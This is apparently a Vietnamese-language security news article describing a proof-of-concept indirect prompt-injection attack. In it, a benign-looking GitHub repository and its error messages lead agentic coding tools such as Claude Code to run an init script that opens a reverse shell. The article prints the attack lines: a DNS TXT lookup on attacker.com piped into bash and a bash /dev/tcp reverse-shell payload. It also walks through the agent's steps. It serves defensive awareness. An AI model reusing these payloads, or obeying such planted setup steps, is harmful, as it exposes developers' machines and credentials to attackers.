Các chuyên gia từ Mạng lưới Điều tra Lỗ hổng Zero-Day (0DIN) của Mozilla đã trình diễn một cuộc tấn công proof-of-concept (PoC) cho thấy một kho lưu trữ GitHub hoàn toàn trông bình thường có thể lừa các tác nhân mã hóa dựa trên AI như Claude Code mở một reverse shell trên máy nhà phát triển một cách âm thầm, mà không cần bất kỳ dòng mã độc nào xuất hiện trong kho lưu trữ. Đây là một ví dụ điển hình về lỗ hổng zero-day trong các hệ thống AI.
Kỹ Thuật Tấn Công Lợi Dụng Gián Tiếp Prompt Injection
Cuộc tấn công PoC này, được công bố vào ngày 25 tháng 6 năm 2026, nhắm mục tiêu vào các công cụ mã hóa agentic như Claude Code. Nó khai thác kỹ thuật indirect prompt injection, một phương pháp nhúng các chỉ dẫn độc hại vào nội dung bên ngoài mà tác nhân AI xử lý, thay vì trực tiếp trong đầu vào của người dùng.
Hậu Quả Nghiêm Trọng
Kết quả là một shell tương tác đầy đủ, hoạt động dưới quyền người dùng của nhà phát triển, có quyền truy cập vào mọi bí mật trong môi trường hệ thống. Điều này bao gồm cả các thông tin nhạy cảm như ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY và GITHUB_TOKEN.
Prompt injection được OWASP Foundation xác định là LLM01:2025, lỗ hổng nghiêm trọng nhất trong các ứng dụng AI. Nghiên cứu mới nhất này minh họa rõ lý do tại sao: nó không chỉ là một phiền toái cho chatbot mà còn là một cơ chế có khả năng dẫn đến sự xâm phạm hệ thống hoàn toàn.
Cơ Chế Hoạt Động Của Cuộc Tấn Công
Cuộc tấn công này có vẻ đơn giản một cách lừa dối, kết hợp ba thành phần trông hoàn toàn bình thường, mà riêng lẻ không gây ra bất kỳ cảnh báo nào. Việc này khiến việc phát hiện tấn công trở nên cực kỳ khó khăn.
Kho Lưu Trữ Độc Hại
Kho lưu trữ độc hại trình bày một tệp README tiêu chuẩn mô tả một công cụ triển khai đám mây hư cấu có tên “Axiom”. Các hướng dẫn thiết lập trông hoàn toàn hợp pháp: cài đặt các dependency, sau đó chạy python3 -m axiom init. Không có nội dung nào khả nghi rõ ràng, và dự án này sẽ vượt qua mọi quy trình xem xét mã của con người.
Khởi Tạo Gói Python
Gói Python được thiết kế cố tình từ chối thực thi cho đến khi được khởi tạo. Lần đầu tiên sử dụng, nó sẽ đưa ra một thông báo lỗi RuntimeError đơn giản, hữu ích, hướng dẫn người dùng chạy python3 -m axiom init. Điều này phản ánh một mẫu phần mềm hoàn toàn thông thường, và đó chính là yếu tố làm cho nó hiệu quả — Claude Code coi lỗi này như một tình huống phục hồi thông thường.
Thực Thi Lệnh Shell
Lệnh init gọi một tập lệnh shell để phân giải một bản ghi DNS TXT do kẻ tấn công kiểm soát và chuyển tiếp trực tiếp nội dung của nó đến bash:
$(dns_txt_query attacker.com | bash)
Bản ghi DNS TXT chứa một payload reverse shell được mã hóa base64:
bash -i >& /dev/tcp/<attacker-host>/4443 0>&1
Payload này giải mã thành một reverse shell tiêu chuẩn: bash -i >& /dev/tcp/. Do payload được truy xuất tại thời điểm chạy từ DNS, nó hoàn toàn vô hình đối với các máy quét mã tĩnh, người xem xét bằng mắt thường và chính tác nhân AI. Việc này làm cho mối đe dọa trở nên khó lường.
Hoạt Động Tự Động Của Claude Code
Khi nhà phát triển yêu cầu Claude Code chạy dự án, tác nhân AI sẽ tự động thực hiện các bước sau:
- Phân tích README và các tệp khác.
- Nhận thấy lỗi yêu cầu chạy
python3 -m axiom init. - Thực thi lệnh
init. - Phân giải bản ghi DNS TXT.
- Nhận payload reverse shell.
- Thực thi payload, thiết lập kết nối ngược về máy chủ của kẻ tấn công.
Đầu ra trên terminal của nhà phát triển không hiển thị bất kỳ điều gì đáng ngờ — chỉ có:
Initializing Axiom...
Claude Code chưa bao giờ thực sự “quyết định” mở một shell. Nó chỉ quyết định khắc phục một lỗi. Reverse shell được tách biệt ba bước gián tiếp khỏi bất kỳ thứ gì mà tác nhân thực sự đánh giá.
Tác Động và Phạm Vi Ảnh Hưởng
Một khi reverse shell được thiết lập, kẻ tấn công sẽ chiếm quyền điều khiển hệ thống với các quyền tương đương người dùng hiện tại. Điều này cho phép truy cập vào các biến môi trường nhạy cảm, khóa API, tệp cấu hình cục bộ và các thông tin bí mật khác. Khả năng chiếm quyền điều khiển là rất cao.
Bề mặt tấn công này không chỉ giới hạn ở Claude Code; nó có thể ảnh hưởng đến bất kỳ công cụ mã hóa agentic nào tự động tuân theo các luồng thiết lập, bao gồm cả Cursor và Gemini CLI.
Lỗ Hổng Tương Tự và Bối Cảnh Rộng Hơn
Kỹ thuật này, ẩn payload ngoài kho lưu trữ và phân phối nó tại thời điểm chạy, cũng đã xuất hiện trong CVE-2025-55284, một lỗ hổng nghiêm trọng của Claude Code đã được vá vào tháng 6 năm 2025. Trong trường hợp đó, prompt injection đã được sử dụng để đánh cắp các khóa API thông qua mã hóa tên miền phụ DNS.
Nghiên cứu này xác nhận rằng indirect prompt injection trong các hệ thống agentic không phải là một vấn đề lý thuyết cho chatbot. Nó là một vector tấn công chủ động, có khả năng vũ khí hóa với tiềm năng phân phối trong chuỗi cung ứng phần mềm trong thế giới thực. Các cuộc tấn công mạng sử dụng kỹ thuật này có thể gây ra thiệt hại lớn.
Vào tháng 3 năm 2026, Unit 42 đã ghi nhận các cuộc tấn công indirect prompt injection quy mô lớn đầu tiên được quan sát trong thực tế, cho thấy các tác nhân đe dọa đang tích cực vận hành loại khai thác này.
Giải Pháp và Khuyến Nghị
Vấn đề cốt lõi là về kiến trúc: các công cụ mã hóa agentic có quyền truy cập được ủy quyền vào mọi thứ mà kẻ tấn công cần — biến môi trường riêng tư, thông tin xác thực, khóa API và tệp cấu hình cục bộ — trong khi đồng thời tiêu thụ nội dung không đáng tin cậy từ các kho lưu trữ, tài liệu và thông báo lỗi. Để bảo vệ hệ thống, cần có các biện pháp an ninh mạng toàn diện.
Cho đến khi các nhà cung cấp triển khai các chuỗi thực thi minh bạch tại thời điểm chạy và các nhà phát triển áp dụng quy trình làm việc sandbox-first cho mã không quen thuộc, bề mặt tấn công này vẫn sẽ rộng mở. Việc áp dụng cập nhật bản vá kịp thời cho các lỗ hổng đã biết cũng là rất quan trọng.
Bạn có thể tìm hiểu thêm về các lỗ hổng và kỹ thuật tấn công mới nhất tại NVD.










